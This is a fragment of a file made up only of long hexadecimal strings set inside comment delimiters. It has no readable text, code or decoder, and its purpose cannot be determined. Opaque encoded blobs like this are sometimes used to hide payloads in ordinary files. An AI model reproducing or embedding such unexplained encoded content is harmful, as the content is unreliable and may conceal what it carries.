6c52c7f99ace66a7e7a3ca8b427f2d9653190c3cb8f31b259c9f92481d320847190e244d755fc46e9802d704d6c852e03d4da1fa6f7463cf4b88a5bb948a6b5083cde9ea7430dc67ae79fd0f1c0f0ce938ae397045cc333101813d10d4d7627f0f722229a9deb9ebced85f727ebc4ae101399f6262bc54125bcc43b756aa4942ce55e385923f1f7596740d5971e0e889995537bd6bd83e70efee2e6e29d14614a747d920a66503b9f3ec7e2112ca4db0e358aca2bc7a3657c172e7ce107c518d3426a3bdfeb3de96332c610499ffaa6591a01dcb8943026edba6b74b5c81a38a99105c3eec887f63d345a023f764edf6e4c8cfb0c71d6c91898fc820a14a1ceecc6a348205e1db9715353aa85824133ca3e13d04616677fdd9f1ba344010b8f8df9f70e5aad2ffe35dc627191d30859dfa9adc7277ebb84d3784e78c966f4787446fcf4c81222a5ddfd845cc302a284185d4d3701f1d2d91eccd33acb7884b3d39abc7febb50d12ca4e388e44e97bfdf24f7cf2145bff54aebce783f4e641e0fa9eb6482f3abf5eccddd6f1e1ce3b3e36e3e8027b8c8a8db565c278bf8171871cab9b0076ef2ed3e15eb0d6025de35ad25363aae253792b516c3313eb5b2e2e91aa45b01ddd50d9b8ca1a400ffd0c898227e9b208e41bd7aaef84b615846ab2d1c5b1a3c1ac4a853b3df8014ae315db529d6c54d5e27023bd1af01b05415a293e9f0*/
/*3f2867009d341d946f8a7b2fd84357e072db3e3b97fbb0df0142cda970c548143d01d5606f589a97326754cb658178c2d30f1b2e96ef582ffdb857d0eb2185cd1c036a365b7fac98a22350688f0ec2f802415b500ddc398eec34a746c72892b2e8b70050d43bcbfe6c1d96e925ca693b075281fd2c13b437119dc50d8ffd15b0a65a89d113ca730fcedc5f3e811c646247650c2cb238370904cdc833ef5607575bc2f237a86dce459e49b9ecac74cb9ceb26b44bb3d17c0d49a2f78e2fa58c85d2771bd78894d8f8e01a7468c5a903c79e2ae7801f241f33a32c5eee36db1316f462366be76e3db7ddb792afba2e762b968ed63679aea2b369d0a5220e54590781106d13048f98417c32f42dfa88e3f6069953fffb082f1bacf9f53e85fe8f94ae39acf5fffae8ca27414b2f9298fae3ef726c22880b4018f78b8f723b4e7c37015836c85fe3a8e144192a603fa87b425898fc9f4b0e47f9344348d828cb8d0ee983203a3254596b7f898dca697f4cb7b260e9771852235e02366d9a42e84b14152993fc3b257d63dfd53342f044e0c3c920264393f134e288702198142a7f027c936b05783dfa02950ea36c292c0cce9564aea881ed0694a6417f7204ea14e6761213d981199776d76fa7badd541b330c5adcc3e46a41e96146fc31a3eb8d593fefab27b45fcbd534f1d12440d7a93b696bacde52d4bacaa68779cb48d19493af3b90343dcc7feca3a8d68be3f6f27a87215da407c99be3829fa21f7a5737118168a9d6fc49560cca75cbb917d8e8bf9e83f6fe90a107fed803b8f1eb04f1fa7ca8c62de1fdb0a13a788db991034c5f3a3795a241e77e31675855a3db51878fe84618bfd3fef4e7057755e49dc455fe41f33c4bdb63ec2af69c9af15caeef17dba3c2e8892a82afe35aca1ce967e75e82b98eeaae1284d7b6db9ace799e6e2f72951eada81945022811338f13174a6a6fe1cb263413d8446ba11a40abee77686a2ea592b523bcbef564a547d191f9b157dc2535647ffa34fa17a8e50d964bd2527976d4664ddd06bb7f8d673fe530898f50cf63fefee47f13175b3d04881305b78cbdfc9f7300f0ec25ae88a8780c68722e8280c9936b71d8beb33361059b8cb85c4a331221ef1b6e4e3fbd6e0f63be8964b9eb6671e5af5bcad2c5ccbe2073e4481d0eb6bce2bba80bec4d30bff8afacf48ae9590561841561b89dffb8a7539a07cb624f0655812a849f9af1601d91381a271e958e3a495cdc4f1b0845eb0b8b13f9c0f4818f9cace500351619948ff11b6a84e6e69d331d054e0c667398729fddca680d91ade801d4d8ecc19c623eaa2d5a8f885a850a46cb7d2c9351ccbc3d51f810fe7ac4d82e01652a3d64a6523a9fa520117b511aedd5b69649694066926ca9bf7c71ddfa7578f5cd43bde8acaf63d02e437cae42fac1e7927c1ce0217e5a75ff84edbd0f58686887ef486cd397a8b2f66494d068079a582dd925178f6736d547efc425cd871eaba9af65be106df9a62413ec9270be18075d4b8a75691d91c0d5cd437cb4b2443ca59547741f1101f966181dba113427a37189bdc46f4278c9dcdb6b0c2ffad8bef52f748faf954350b06ab23b01143cddb05342dabd66c14edbaf7d44240d1287fcf8f1f36cb1ee36ee2f4e634b9139a8e87b5fccd5c2ef30cf2f7decac444d951ed0a5ba710552b48927ecb5a99ffb5456e61c30896997e18d30b08fd9ad5a48422ddf92c94ba7bc6655c14b9b2892793ad5409af52a767ce98bbf6258d29084c76142740910ea27df9d59408a3b80c0f5dc90d57d86a3ca7b888c1df13fed4904e913ca2b08ba4ed7e606ef753ebc63beb350e36dd6f2c2a59fbd1d26924846dec066cba58eb64e8aa70314c4f7102cbdabb06c378369bbc2a926dec19690a64a4472f1158ea3d2d18c9161c27cd8e70e0faed404d308cd6240a18a7fb5723f51174c77ab3270c6bc6383f6bda08d5b6d4a061d0d0e61df97752cceca350950e05ce96cc6e7cdaee579c1a412d146368d80b2f24fca0379a4d4cc25f50986dab8f11d10a8e3d37b8940168f4a58da50a4be37306f0cb2a520f79f35a74615b5defc05d2accc6bc23d71dbb6dba92da7401035ebcd8cf510abe0192ba13f37744f06e3a74399f0c31f75ebacdf0356df3cbeced9145bfb1ba2cad59791f743598fe21f40786344e976eaf36c1156533866ebba3d3482aa0a00e9017b6c66c4ddc72cede9c862ee6b732de1a348b547d4c3f2b312d9194b70a568e726fc98526ffcf34ed8ad0803a230b54bc26a8b02a4c467e28b918cf7d284b57182b766a5286681b2b74addf5fd5a42ebc5de95a768d37c8d7574c457aa8663a83f38f938e187c51307e182ba20f5e2b08177bd2052d4f43222d18093acfa2e847f70d6c6699b3f73fff1e1afa44b59759625ba294b05807e27ae168240a5324b25ea1d59de7bd9b94153374affc86830fd6dc12aae9ab477abad39483b36ba5ecbabc5850eea8027434198a772b02b94ba9c6440d7be4f62162790fc558ef19c25634127ffeb1091fdba0fb76aaeb33b0f3c0ec6cb07d3afb3984e24e0a4bffe93c0d7607234d2223057271c111899e44142c5e80fa4c2fc370560c91f5f7f865b44a1182bf34b30c3f82ce4c562f3bfd445b83415d30ceee3cbc642e9ec39eedee6a9933a1c88765ad25096c0d5935a5c75caad1df630aee79f7a38d2aaf1268b8657d90effc037ac818e40708f13f1f521897710bddfcf53aea87b1b72571494354c3b5eeb78426fe81a5406dd0dbb368676dac7115dfc6325f51005a8e7106369e0f200cd9bdba695*/
/*a7807174787299111cce7004a7dfc481a9498b98c552fc319f0fe22b7039dc37022cf8b1b7935e54d36564176116826e1f76bb938e6f53245329cffa40e32175140e5b2c1e62f960a344b44136a67462d24bfb822dcd67a28ca151c439e689cff66d4025a36816407df77aae9694b13b38ac509a94ad4a8e6a353a9e904c8143d2539fcf861116a80085cbf407d1c8a10fe0ac7e96edcef162d72e389e25298f4dbcd7611f131218000c860f7ee138e9a40f8547236fe33770df648511d03754ebc2092de19f4589e43f49781ed4321b98aab3ef9ab3d4cfc95f6eb38ba5f4271099e1f6fc6aec7a4afea9b7a156f292217807d32a42d84deab1498771ba8bcb305c022634e04778acefeb146f83b924135b0e05f62b38eaf7ea3cc3552e728e9b5017e6b93609811444f67e76fc8e4fa3f98b5f10a726eacf117b33fabc3749a654b02bb384fe38d1f65831f145c7884448b69956a0ef7d367cdfb6a059c1c420aa4711769b1c83c651dfd69c04c13c51146b200e9284cd199fd1029236df98c8c895f69a5f28c1dda785b416ea30ca4a4c25f1a310695e0fe6781ffd0e8b79344696f0e248c84368552b75200368eef40c6b327054b4e9fe10cc39db9891c87460c456cb0c530281134d7f4b2b8c8cdcc4fbc89837f8e4b725fd92379543e1fbb901400adcf6099146a8175c0d1c21ad36f67bf8d6684a0af69be21a88e02de321bb126f43e34e8c2c75a1cef2719c3e6e497147db03e1ad4a72c8877ccaf42f796da8e4ce39515b661d1c4d6d3edb04aaebddc50aecf3adc7e72ac9e5114c2c9556e22894b6829083f9284542b21599cf56c896984532f4989328dd669debd77c99fad3efeaf02b677a8bede22030dbf746aa1a40f445c15379838728793a629e51bbde44de3a20f9d4702961ac9223cfe5b2060eba426f713c327de4ed1352d2b40cdaaf4e0c9fee5382285dfc415b049aaea256a9a4e586d3a4df27c87ab87a83bb0b674770f243e1ed5b3d8a7e6f682c2e8ae1e68ac118dd758438bebb3428868d60ffa8f50b1497e137615b6b9852c2f340b08051536a289268099c1accae77236049a7d28f9db56c0666777858e0d2439fc8aefa9c8210345667cac9e5ee64b0dd9ca4773cb2381c54b851bbad6f489ab5a4c66bf3783cc55255d80928c7a03c696aa0c1aaadd86645231dbc7a5b0469f8b3fbbcac4bd17e673634a34ce1e3d6479277940919524e07d9c058b8daedbfdedb0c24fd8098c5e774f7dbcd3438cad4f987fe6b0d1c2e0382f27e5a96568515cc46f988a70c47d44536a68814d3bebdeeec729d96acf5299f8e23b4200fcc7e741af2bb6e29c60f7301ddf621ecb0fe5b8a0cecb75a84860abbe6d8b803f0803caf3ad7202fa7016ee616f92544b5f255b96e120d523fc8fb7d5c01c0418b2b031756f1ab286617b1e28aa89c3c44e8ec52807ca82f7f4d70af7ba3a67f60a8f2dd34cea28cb6fe9809eec63cfeacdd23b9bcbb5a81ab9fab604cd281c9759b921b7e00567d55078de0f79243b74e042165470c5582a9b1ac982c1dbca965a81e7c3ca68f52ff116dd2f0e12afbfb6f414ab004e5c2b6e94b5172942c755a0734628046f4957bfcdafc35b6f5b2b8996b0226f3020e468485794c00100226f7ccfae7d559816700a6db30b579196604baaf94966d137b15b33452fe68ee74c0df36437cdab0db850f45a2d0aa80d3f842b2310c594146e712b39d05e01eab76d7f37cdb7bca8d171c5114951b868d303b695a744c93c22948057354673828a7b8086e76d8827af011d8d400ec9b2b55c85e647e870b4eef30166f869a5f686c3dadd04f6725493eaf304bba48e81467b5dcf5ab5f8f0fccf3cd095baa22d877ea21d2cb2047dd42d1e3a6bff5c2b282e169373acf54568cffcda08b906cabe9c7ac6c0874d5af88a218d70305a47aa81e4938ea721bb7f2a910b2d790356e2a3594061d57f43233c88fd719893f8baca9a4715747241800b146df18952f0ce7faea7ee737e9e18c868416b81480885842f226f0cd153824942e16ed1b09b73ffcc91df7e1f30039ffae626cb2b995ab32b128acf7e0301c592e3cf0019fedacdc5118ffb25a47a10663b2f08122527c4124db9067883d8dc89adfc6eebb8b601ea932b65378137e92daa251b1ac430619da576e4470a2b693b565d2c8f6ec6cbde11a1a42f23b37a229c080c2e39e32a573e4a1713bb164b9cc6033505aab35dfed62f41148da555dde7b96a6721f96d83c104c2191614d8012bdb1dfa773847bd8b6c2e8a61bad4d82d98f045edfd17f406d682c3ad6a5c01966a2d5a3c87ebe86ed92e8b8b8c61894c8134cff2258a870db1560abe9c7be017b286ee7fccab11e8b69ec4a022b2ae54edb0cf90668237e84ea078515f4aa3a44426e4f9a89188353e00d94567183f00920802ec9d87c09bb8aff94bc10bee1acea0290ebe17842e7624c95bc6066f60c99bfa983c6e3b770f1687d9f9cbd336c70883923615f009fc1aa14462920b520f94fac33c262f4a3e3ef03b797b34f078571941d2744e499224df1b76a35b9c807ccdd87fbe26c29dbba5c382fd48a8a51c011e78818a96953bb51210ce1a4fa8ffb469bc2c83934e3327fa6593e7f228b1ba52b3948bb2d59396e3b246d2c3df4f694c9c3d45616feeb5ab7f4e1fb7a5f95640f92cfca68b83db52262a7e2e568fb646ea1f3ecd26aa3905c3f94bb99fe26733e90db72ef017f067da2c897d27c4724708530cb87437461befe7268420917a40165e2e257cb80f38271debc7883afdd7bb7aad11fb55fc62c9b69a8e2*/
/*71e969b051d3753e819b42b18cbc0d1b247b301fa1f08d592b200b59deedcac0a339c79ad2084c59f49e264fc2f9552a0dd51bee799978986ce854328a8fbe165a3ce838fb9535c5b71fb47ae61e913078c1b7f3b1be374a01423a61dc493b31d7beaffff6bb80ef87493a08f4e615cec20c15ce8412d89a0309e27e233ce18d76c3c1051e253774947c89fc5ee27b7c0e7b554b82ace075e6250ad89ff1c7cac8a90840a488d7d89e6e63951b47054a5dcd596bfc3e552173a109d79c3112b3efe27a77c86b9ea0e0f050808aa392c3d7c0937927ebda042a625d79b39502dd82be21003aea7a6975c465e7df4d45fb87a804e4d95738cdbe0dbbe98ca63c99d28e36c0f6e86c4510f8e47ad10e79063fad4b2d83b407f25485c4a323a4cce61924bb8d272e3c6dd8473452c9eaa06fee80c069b952d48d560865d98dc812354f7371ff51a1cd5f39143e012fa7ad1dbbcc831633a3ba95df928347c10d4737d7fcb6c4f2b060d7fcc085d3d25bdd5683273e2b1cc1695913bf8f16785e9a85467dd4e81fc7c331648e39ba4ea2ef3d385cec2408ba848a83156683d6cb25ce6294a9e62de8ca2883fd9e817d02876800a0004527ea7b12a720dc1dfd6765c05fe885e0cfad9f13a2bdd05adadca1e2a48dae748ac488f490431fe34605c92daa5c2bd58598a29e3e9084dd52bd711d258ea2cc4a32aeb1dcd4cc3b6a241d902e7eab6d2c5ff6a42f0f599b392390c90c6408830a47986bcefb43991703c5a4576a964d1c8b7dd73ed5219528b27cefb188bc84c1fefd00f2be6b6e24ba858c512690bee505ec3df9e3fd56549d1695dbe2e410bc903e6b09b8845f16efd2b71a297f149a780f3e39411719bf1f51223fb33c3f365d754a3cedefc9f134489188a0b137b2f0c9390d00e51c7e98222dd6c4ea2d513f621d1079a0c8cbc032ad30232d8c31b6a7d80f9ebd832faa65c902664604f5058c916faec9a98c0139cc9187a74630e2a474b7f5df8a35c6ff007513e14ed5ff18474d66a9809aeb60a0d7df336547698fe2fd4227eaa847dd3f183077aff856f7352795e7213a4e2488cb1da55f2f93b0db9306156153b640a8e68e8088814abc4d0ddbb867a99ed9381dbd2b848d128cdb09d77865344dcd60e4f03c3dee5c99f4fdba7f3821791f764ea9d22d24bd54a4c9bebad5d0a6a3272d3485cf1b6a050086c3797ce5c010247b17a4698346b50b6f22d1ae69a912817b9fd27bc6bd197e114ca33132bb3706dfbba71f439a26a24d05ec51d8e90966bf7b52ad085da248fca0fd7625baf3eaa9e4fd09efa9d9f8e0160ba9f2855aa625d311dd886a34df6275a2f9cd4aab7bfbd052125a7bb6eec8dd02ca6e3c170954f810d558aae863c893f1604beb9e1f784c79c5ab5eea966d9452b247fda86396bb94bc282696b317ac8bf0dd9b56f875c7e2be991a9b4fc34a66a17f98fa95b24a508c33c62b51a606fea59a7677bc7837cbbf8e381ec1e26278e1e263bd58049ca350509233fefa3b6114a77e5a543679897ec01cb65c0fb6a6854b07856330a642fee524b98088e8c0a2aae349fc1ea602be30d5179ff97034d3eaa17b94d73d27e3c80f5f6bab4b4e49b0203b63e1d1bd5b88b560aeb8300b7f049d2ba78c938969c44558d63127131c724a470c9cfe7b338d35c7bfadd17c27a3c76fcbe2faea5dc5cefb403c446d0e70280d665fac54b251da861afd5711d07974094a65e9ef37d6e0991215c2a7542e05cf31720ec118642c58602eab1e1b95b963e53acfe940fd02a4bed94de221b2a86d7c4e4d94fffc232fa1c68884029d0a52f78462ac8b5813d1353a26837f0209f3d74b0543e74b1eb059dd9836a0ea172c0633b4761431b132d17cc9dcf17a02905ac8652d056fd6b8d759308841193b2e2b29693b9f1fe7bc3e67cb17c8bfdb7c42d5b9e2c84717a48eaeab4ddd9ca663c78881a36f3234fb2e9730218f441a00b3e09b69b202a0ed99d7403c1734f56f7312595f4716ef1b495997fd3f197763fe524244696302ad546d15e0a719489d76beb963b88e6e332e0d34194223b8f1c0e161224d5b80851bddaaf3b9cfeca150cc1d713ef3c646f99cf626eb500e488bec01ec5d08f0c884a6cb9c74a90dcc20cbcf034bd76446fa661ef52ff8aab967edbeed67afa96c7c961568ca44f0a298e9034e14e53d35906bb7882177fe7080ba68b21400d036c95c29225f64a44bdcbaa2b032f4c634fba5f9920fef344ff53b6fba0dd835a4efbf9a9c04ce0858146a8d76085da492435075bc25d4608ff4b844efdf7da9f670139ebdbfc0cf7d68af2771bb4d7aaa967dd2b27449fd8532b010d3d234aa7028da86daae61aaa27262307eba2a85c8a771e0cdc325a9ba8f7481771a015cd6f91f1de480169cd82ffc2ad36b9dd0566bd440a58125e3b992a116b8e7680a04b4881cb22d37e6a1467f193b856d252d719bd7df37807129ec74da37fbc5891c9882f5ee66a9348a2245e9669d1d423273484e8cfe37c1a3d30054c4579036fb269ca4790aed542ffa9fe6d999f62109d07b4e6ebf4e4909a126fbe975bb271cc4fac069398b98916b96340528167ef6737d590d3be8cc17cb5e5d70b26f2db8acf2ab81ae6c8d9686dad45e2132315f0d66938c65f24f16a9899ab3d528a60d96bdeaa5f36ae7753f1937a8adaafb5637502ffc883618f6aab68c2a9f48c9ee17fe4935170cd70bf526df687d1d5e97b72e6a79780a787bf265f5b0102e14a90e5e60d7fff09d254650a172e248d34fc28374c7e9590cf1ef6258822162b3130242d75c7985a9d4cf*/
/*9662262557395bc61adf8c8f52c6581cbfad35f02a9d990d1b20759540c7f8e205ff8526b00f25b5ba3dba35c91de3d9c9d46ce2ef8f78e3e60514b94417ef23137ac1a6d34f0456ff20d01325c04587600cfeb950c2bc4036f7cc2c8f9464e06dbf891611c43c03f512b0562d9a35429308f4ae0920a07f49c7d3312e5affe393acb1cdf458be271029f9e3cbbc2544b279e56e0ae7116eacd9211be5e1927494f08cb0d344ccadd14ae611ee75bd37c66c441825bc5af02b22595b349d32f535bf028910739b0c64fffd1a8ddd351e10d7aab980fa40016eb25cf826966de6434d3ce6eae7261ca60ef51fb059438effe76bb91432f2bdd0c08500adac1dc82e041de187ab69372c52c1038174b76c20d645d01178aca1a508e60fc049fc231b64b79a8e0174310f29a86d3d90d3362b03cbf97e77fbbfda79c007b092fcfa4b56069a6ecce72b699955110238d8b6ccd05071935eef83fad0755f49b200ff09eaa91b5e5212e0ea93ae1fde26e557b1a5f039d9671eff85e31d207264ff8350bb6d092386baa897a9741adaf71fcc65e9a569835b43662455be091f2f6b30f20f7e89cf9784b1fa553da948da5a666db16445b364a4976d482910cacb25d59dd9b2869832806e067f5542570438ede7a134d39c4d6eb92a84aed90339d6243ba4cf2fb8761e845fd944ed4920aef820d073c8db69943bc1f58e0c59326535c14f4ad639d8c86bcb6f9addc4095fa28c4ab4285cd3e55276be018387efb7f717344d7865ebf467c453b4619ec40867f56b48dbbe5a34d6f03e1d1bf3c2b63e90ce181bc1ba2987bf234eb362a37e5b8ebd464cd771d942b4f51da883326b75cfe01206142c61b06969ac53a13ccc1100275ef1a71b4dbcdce44d5ccf3508c25c336c0c55a08286d666703a615780409e2c9aba69ef3228c7e9ba8c0b42c7d1fba98f4cb5c9ac29c3d89bb2d22844cb1374c7fd3d5c8bd7103653fbd5dd3030688d9edb01ebfd1cae0da3ad8f07c34d364da3ee82575a3e58b34cac81be1bad90e8882853b001dc926b2e6a0736f686d4b65c41d05096ee7661dee29883f417dddb3893f40ee8bd975f5bea1aa89617aa086ec27dcf86c6b8d6e6c12f2190ca88d41979574e5dc1f68d6ae2d35466ecf1237f991099d90a5d9ea25a354f4ed81a79e9d763348001e6f2bd49bfbdd132297bf73c9fe9d755404c101aabac941e60831a0c2c1eb15648b52959d7b7a84322da7cc7da57776e68ed166f4d5943788a17e189a105115f524f8291229e61bc6a2633fdec43c0279e043410a2567b00b18bcf2c27c06b8176aa650ae313f923ea9436bfa3273f55766c93e567f54a495082d27cfabdadaaa56d11bb73f95cc93e9c4860fb011d0201d4558c35b5bc8ae03985f37601c549f014d6b8100612934148679f9f9514f96f1b6d05d95f2b2c8b9023fb9e74957165b7bacf9f8de89e9f8c594a96cb755bb202b841e1a2a78305f491fe14c641d4e9e5b03c56d3fbb5677f9fef9c98245c9719375ca9222735a353bdb22b5b777d910eaa75431cf095234fbb3ee065a2b8665dfc92c82f41b754751649b24c4ee48d771bcf0b81ee8a25f571ed61075ddb5110e1bf2ccc4b3d6a17bf0be220821410232e56d111ffc724206385b755d71987dd6073b6d8395b2d382cf5a03dd05f3989a4a509032bf533d274908e16e00910c42b1940e1e0d181042680ff94530beb3b22ce78e64ac0ada68205624c3584f7ca8788c2e02bed0ab851198fdb1d022d5e2dd57cdf1bb44b5dcd04c3a49e611ec88d8c467fbac860ccf4da6e24ba116f92be3349cbdca1477b7ce4413cf4d1787b7318a596ad08734025cefb724373fd08af772820d1c04369d229b2f67ee473d398567de08615e9cac2af349cb6da84762aa499cdfd0ac8c0de2f1049af814a2aa71221e2e625194e1889ea19c16ddbd2dbcd6194b887b5118ddb7814056aa9bfd061107b8bd54ea35258183d2eac8662d4e246eac9d5a26e96bd0d8c08af82a0b56d3b6b5275eeed43344c7f9a05c0d19a1ef3ef6b1b597921bac56fb61470215f4e82d69cfd92517c918fb36dfec2bfc459aca80f80d5c407135b8d9b4ee2d3254787db2ef36f9ebb2e1098cc48fd35c72e8a9c51887b41b98f56325e484ab06b5598b92c5e8f463f35b1e516a30df42eeb9b5544c12ae5169673b88f65854db6765f7105d8886c17e17f88a9b3ecefbd2fde5bcd4edd1473a4a4875878bb6ca7ed7f7de1c4987f746f48a38099434c087a99a2fb8335da6bc40da20b0136d5562e60797b41c81e68fa4eb3d255bf5ab4bc2ee9d0a37c5871df143d7590cc98d90a3f7bb2ea5db13c8efd291c44eb129afa0518c44a61b35954120dd6da1eb2fa08769963483f442fdd9a391506926a01695107ec6ca916e6e41432b58d837d1d92d66aa95ab527b8e09a1cd0e87c72d5f1ae644e740648430efbde134820849114144753f54e46b28f6d9eec974be9c1682cc4091d65969fb110bc9fa4179582540a1ee29c15eb1125fb3d15bf4a9343d63a86160277fd8d7a9e3d1e10c9323e652d545ed4d8a28a4643c9dd79f889b0a1753253d78048d9156245e17d6666728f14743cc52f29fec7ba40a3d52e7da5a0a231e4ee3f1b1646b768ff97baac542f129e0d8f4b52ee8ec2544cdedcc615edd82d57e2066641d1d6f89693623bb76503349b06e103fe8f3bc47ec1b2e454d52e415da700b308b6ecfd31dd6e33889c4ee8d0a772879b2337f553fa06ad5d9002696d68102c8d5c97ce64fe11ac9e6f664936057358c3cefd272549bcadb693a32d53ee*/
/*fbe0beecc16aab3749407d79c11f6382e85f944705401fe7ab70f1ff9a9bc8737076bfe7d0bc388027147c7dc917a566dc0c2a2a4eee0ead52f2fb5d9b087add4755c105630cee8b81793ada7d2a0116a7c793761480a5d6f04c7e86fe826268dd3969539731fcc63426e6345d4269af15913d1f321ea357c9827f7b9d1151407dacddad81cb680bb15fd23732ca8f5a2a9140aeecd172cf29ef12cd66bdbf90f3c2bc9907048c4e08953b3236de9cfa9dce9d2a300eb3d139ca12d738ccc6c720147921e94f6f2b55a71cb4076a2422e68ba66825275b76742c192d64c5da4abf78e9b2f72b81663e8c3ddecde59727818e56a2b4ac122955d5d5b77ed575c8868798f63bcdbaaf70544c9e6692219c2349ad35d47261c4a735169a4d0ee952c8917ece248e2e5db96f1642aaadce118d7e3f5eb31fcf6529e70b4af0ccf7280ea9f4a5adde64be5b843d183b6eaa70d3c4d117d1125dbafa54bd71fab9564c105d8486297b27772534193969c3696bd3c5e9b2f1d3ce456cabf664e413c8c611223f5a709feb3e4a7710c8fc6ac24d12e832b266353d509443cd12f6c91cca57feb29abeaddcfde28a35797edc74a46682d575dc3799165ac6bb3f57519d363ce24b538a0f12bff4befff614e6f16b6f6e30a3448e35646a540212faff745e6c154c84f2dc3de763ea3f1e40109eb3735186289c5a2fefd86399595a1a33de978fe4fe5e79fcc491a9167a8bc8645613e9d72dac995ce183e4eaab53dc787ce22aa139ca0527d27a4e2aab7ea085cbeab8ede3e0e2a2fa1623a9927cedcea8c2c64b4895c9172063afe0de759801ce7a22b2aaba2553e731b714c3552f6446546ba0407f6099d0d488ac256e370b9ec43956ac401e2c9ffd4ba7e90663692f98bb0387c1fe8de640980f133cb20565ab4a534208ff7f91c558baea6d2cef872244749fdf70241faee5d49c714b2aa2e4dcd5866815a539a961f98d7a48a6e81da7148644c5b481cf3c7d5130c798c7cd686ccdb37d4d75dafebd17e434e532e1002bc4d5174fc8410e9a5dddbd6fac8f64d1e9d2c739a11af0c2f3b6e4913c1b049c65dca86e5a51142cbf926c73bcb2326df394454c23dbf43e4a05b89642ae58b1fcfa1debff886dde041ffcb9df902a15c7ce9905e474511c36bbd575f5a011a01cd3e291c7a117793166b36bfb1dd51ecf8bf191ac3d1d969ca6336631db295c8915b4de43f9b903efaaebcb932a0eacc47f95b5991f423bfb80de8c3e9217e04cbb9c037e01a49da305cb7e255210fa4a325cfddb7d5d4a8a93fce2e2c8e03fb22890f7aeae6e8488aa1e3793f7b5ec2c41aec97de706d155098b312ff113c123f772fbef6b838f4ed98d9c5e4af62481bae7f5bffa5a87fea556c2f4456c8a090f54d7734669f65028a51e65c4f4d13f143bbe3a2f1e48c851f8a9c1ab3bfee13361d4e21b32b204b0528ad365d22b99124c7ffae066ab0c930043e79e3f805f4e5a5d0f0040ff315532ef06052671995a6bf7f0b877bfe0d43ccc2ced46440b48e9b743dd10254837f061d8c67df44df96a9e358b2d534d7310943169d914e9e87e4f811b4f3b1ed63f5091df30a36a4b9445e761028fe8fed69903faa4a02b47d28f9cf315cbbf321d0b641e7e4ffe6578b0dfc719077986a36c59ed458e532d6fc1367d25bcf5d3fdc0494170003dab8d352014772b79480d6c623fb9be7b46b41542b999f943fb46903da892f9ea5ea69b0027ddd08061a2193ba1fc27e0e6c0b75e3402a93abb7348af318053198f83e8773011c3937ad345cbd9d8db3ddd066390cc3aed860a6ba9feb7696e5ec282548343046be32bc66d27cfa12b63911a0444c2cd4492c97a846e31cb82bca469252c880d10159cdf860e754c4c1bc82cfcead8ef7db788ef6e8c9302546623ce823f9711f192b8db4377fe503b7f6f9698c56dc84469d2679471282ae78912aed78d062f25de90578305db77a3be32ba72c3b738d027aaf90b4a982ae258443d6c4fda9d11dbfe10cb62f6cc5afe0b74999b457545f640bb5763a1706923083c2397fda7b663d23aaac81d82dd04275c566dc2ef1c9979f448a58448c7f885efc1852c37518e4edf64567e836e02c3cda2bd1a4f6b2c7d62d2e9c5ebda6702f2fc4627661cd62e1a3f35dd6fb6092173e237b695cc20771ab7532dbd6ded417ae6e6072f77f3de1626008da10299e272dbb9e8371ab6fe277c5326e622e251586a175c48a980738b7c95f44af4667c2f3b5ae784528c097581255f6ddda863996a02757a30ea767c8bcfb4329d15f511cba85b1a37af8628666dac9194e327a455205995220fcfa07c5456723ae96184385a55c0048b1ad134e3d456be4b541dc6d54205d454737b4a2a2221cae08da3d1dbc72299d4f2d4ba5b25a4c4cf58042f35ceda4845d7fe7184c1f8da901cea41ac36866858b7454a23303650ebca364d1275110dd0ab3a09cd4c0e8cf8064aef619fd78e713b661705dab30f5e9c2af6b0b2566bef69ecd22b44a6ebad12a30cbc6344079ddc37a444c125cdfc868f42739b99c2eade0cbfdc7503101d60493afff15febdb53cc793737f29c7a78eba0c478053416029ccc4c64b7ece50ebc56d7bec93ae325eb7e86ba12162c65f2ca1247614c6bc3e573fde4f837390bb371ef11b1d5669631d2cb556b7b2fef2dca92a5c039362c17a7f19a9bd04300a3f9a6d3d63b533f8a629dee82ced2be4cb5a4469f19efc9471416ed6dbb56ac208d2ea13a16167568257d4f59b20c3393b09a6727bb415ffd660d780fa44e658e8a24c28959f3db9156fc*/
/*b363dd15cf3d160e708560c6200d884abc28d44d4afe99188ffde587cbf6d1160034e99ee06fe83cfec7f2e2a24ca29dcec68af28681100f280ea0df951cddbdfb11d558437d8b0133f4f8b1f26a37e4cc44916b3ea4b09657dce9ad6a1040e8020c4eeb73aa6d5bf4d27bb3e0c650bab4bccc0e7154f6cf6673f77ee8d4f10cef9ef93eda0bd5a56c45b783ce73dc1699b0d02162d6c210abe9948e8825222308ab0c033c355d998c0d2eb8953507dc371ca11995ee5375ef4678bbcdf7d7a421595c958901013a3ffcaac19cd9a9367a9e5ecc7f0c924873a5b52fd9c0a85fea5ec23b3fd38ca7e7bf9d5db59606d6e3ffb4ff83cf5b54556b2538ea2dafcae3cf8a3af32d92de27a7e97b12a0e7474daef6bcc1043cc9ce8bdbcbd9ee6001e64aeca6da88383b532b9b2ff860b4f6dbb17116099ab50393ccd4877adb308917bf330f6ea25a8a7bd10d048d20728156024b29156696ece2495c9a3e2a56f126355c845a9914782ac7da978f768b26176a2d3781eedf6a18865072ad656d533a8bdc8ae3056db9da974639797d716fa1c3c5b7c37f238f087f8b63277a232d3aa2a37c6a5613e4a16f95eabc02ab6cf7dcb3ae011820590498617d831cca3d1db5c97046f1b4ad52ab1b9956b4d597a538e838829fb95b22f75c1fc99288a9b2e8ec7bf7a1c1aa701574f645ea13bab18ce02b444ebba7369747898cda72b029a8a5e70c1c9be4b178284d7684a24e46bd04d12d0bd7c700b99c64d7cb5df45ef1693f6a964d4f1477917f1b935c0767479dcbff898332ca265689e37e545f1079458e37f5d3f3b821837a5eff0039e88b6834d6bbc1ec53bf44115869f3b5ae0c15f77c8e31d977253795bb6c394d1c1d84ee9ee6ff3d12b625fdc25c005fa58b90a18fab8b157bc0818dff17f6ad8f255d4b4e549ffdee27084dc280634145afb3c344e2e5b624217697d4a3f91ab8cebba650746459db148157be1dc05a8a18f6d72bd60c0db5970e864dc5628c99e001099c77a98d75dce689c25076c598f78503ee3aaca703d2346fdd8137f4696828a5900f39101f8d184587a762e5c1953514b0db3e98d30ada36194044d706e5e27e1e65b5d08f067000955c7428801fb3dffa022cddd89749e56c8d5b1d06f9a7ebdc5e960c3a2c026b5f690bfde41d64c4e8a845aa457bbc07abf4da64ab56c4dcfe0dd7ba964060f311688fe5f1bde9b5c604835f76845d9520820f2d50d77af476537d5d81d06ce204d40109dcadc0a7003eed39afe30f1f288b5b9f0536b3c69b17bde4fb635a397f1824a14d36b91c299c87ae7ab64fad27652734b2947b890bf6fa94e741384be042cd5c0fcbadaee8e7588a2d5d2233e1486408fa0f1cca18dbe53ce7642d